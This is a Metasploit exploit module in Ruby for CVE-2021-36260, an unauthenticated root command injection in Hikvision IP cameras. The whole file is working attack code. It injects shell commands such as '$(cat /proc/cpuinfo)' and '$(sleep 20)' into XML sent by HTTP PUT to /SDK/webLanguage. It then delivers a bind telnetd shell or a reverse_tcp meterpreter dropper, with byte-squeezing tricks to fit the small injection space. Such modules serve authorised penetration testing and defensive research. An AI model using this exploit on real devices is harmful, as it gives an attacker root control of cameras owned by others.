##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Hikvision IP Camera Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection in a variety of Hikvision IP
          cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an
          HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution
          as the `root` user.

          This module specifically attempts to exploit the blind variant of the attack. The module
          was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It
          was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.
          Please see the Hikvision advisory for a full list of affected products.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Watchful_IP', # Vulnerability discovery and disclosure
          'bashis', # Proof of concept
          'jbaines-r7' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-36260' ],
          [ 'URL', 'https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html'],
          [ 'URL', 'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/'],
          [ 'URL', 'https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py']
        ],
        'DisclosureDate' => '2021-09-18',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_ARMLE],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                # the target has very limited payload targets and a tight payload space.
                # bind_busybox_telnetd might be *the only* one.
                'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
                # saving four bytes of payload space by using 'sh' instead of '/bin/sh'
                'LOGIN_CMD' => 'sh',
                'Space' => 23
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_ARMLE],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'printf', 'echo' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 80,
          'SSL' => false,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  # Check will test two things:
  # 1. Is the endpoint a Hikvision camera?
  # 2. Does the endpoint respond as expected to exploitation? This module is
  #  specifically testing for the blind variant of this attack so we key off
  #  of the returned HTTP status code. The developer's test target responded
  #  to exploitation with a 500. Notes from bashis' exploit indicates that
  #  they saw targets respond with 200 as well, so we'll accept that also.
  def check
    # Hikvision landing page redirects to '/doc/page/login.asp' via JavaScript:
    # <script>
    # window.location.href = "/doc/page/login.asp?_" + (new Date()).getTime();
    # </script>
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/')
    })
    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200
    return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')

    payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
      'data' => payload
    })

    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)

    # Some cameras are not vulnerable and still respond 500. We can weed them out by making
    # the remote target sleep and use a low timeout. This might not be good for high latency targets
    # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all
    # 500 responses as vulnerable.
    payload = '<xml><language>$(sleep 20)</language></xml>'
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
      'data' => payload
    }, 10)

    return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res

    CheckCode::Safe('The target did not execute the provided sleep command.')
  end

  def execute_command(cmd, _opts = {})
    # The injection space is very small. The entire snprintf is 0x1f bytes and the
    # format string is:
    #
    # /dav/%s.tar.gz
    #
    # Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately,
    # snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for
    # our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes
    # for payload. The 'echo' stager has a minium of 26 bytes but we obviously don't
    # have that much space. We can steal the extra space from the "random" file name
    # and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra
    # bytes will also allow printf stager to do more than 1 byte per exploitation.
    cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, @fname)
    cmd = cmd.gsub(/ >/, '>')
    cmd = cmd.gsub(/> /, '>')

    payload = "<xml><language>$(#{cmd})</language></xml>"
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
      'data' => payload
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500)
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    # generate a random value for the tmp file name. See execute_command for details
    @fname = "tmp/#{Rex::Text.rand_text_alpha(1)}"

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # 26 is technically a lie. See `execute_command` for additional insight
      execute_cmdstager(linemax: 26)
    end
  end
end